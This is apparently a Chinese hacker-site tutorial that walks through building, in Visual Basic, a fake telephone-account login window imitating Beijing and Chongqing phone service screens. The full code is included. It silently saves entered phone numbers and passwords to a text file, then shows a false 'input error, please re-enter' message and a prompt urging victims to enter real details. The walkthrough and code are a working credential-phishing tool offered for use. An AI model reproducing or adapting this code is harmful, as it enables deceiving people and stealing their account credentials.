--------------------------------------------------------------
黑客动画吧 http://www.hack58.com

致力于中国最专业的黑客安全站点

黑客动画吧，有你更精彩

--------------------------------------------------------------
今天给大家做一个VB制作北京和重庆的电话号码欺骗工具 第一次做动画
首先让大家看看效果好了开始

看操作就行了
打开VB
设置属性
BorderStyle为0
Moceable为false
还有
Form2窗体的Visible设为False
插入图片
按着图片来添加空件
再新建一个窗体
照样插入图片.....
好添加代码:
==
好了代码在下面

这是重庆的 北京的我就不做了代码可以一样的只是界面有点不同而已
好了大家88
                            本人QQ:33025759
相关图片我已经上传到空间里了
北京:
http://yong1356.diy.myrice.com/bj.bmp
http://yong1356.diy.myrice.com/tupian/bj1.bmp
重庆:
http://yong1356.diy.myrice.com/tupian/cq.bmp
http://yong1356.diy.myrice.com/tupian/cq1.bmp

代码
Private shuju As Integer
Private Sub Command1_Click()
Dim a As String
Dim b As String
Dim c As String
Dim d As String
shuju = FreeFile
Open "C:\Progra~1\电话号码.txt" For Append As shuju   '文件保存的路径名字
a = Text1.Text
b = Text2.Text
c = Text3.Text
d = Text4.Text
Print #shuju, a, b, c, d
Close shuju
Label1.Caption = "          你的电话号码或密码可能输入错误,请重新输入!"
End Sub

Private Sub Command2_Click()
Label1.Caption = "为了您的账户安全,请填写真实资料!一旦确认资料有效,本程序自动关闭"
End Sub

Private Sub Command3_Click()
End
End Sub

第二个窗体的代码:
Private Sub Command2_Click()
Form1.Visible=false
Form2.Visible=true
End Sub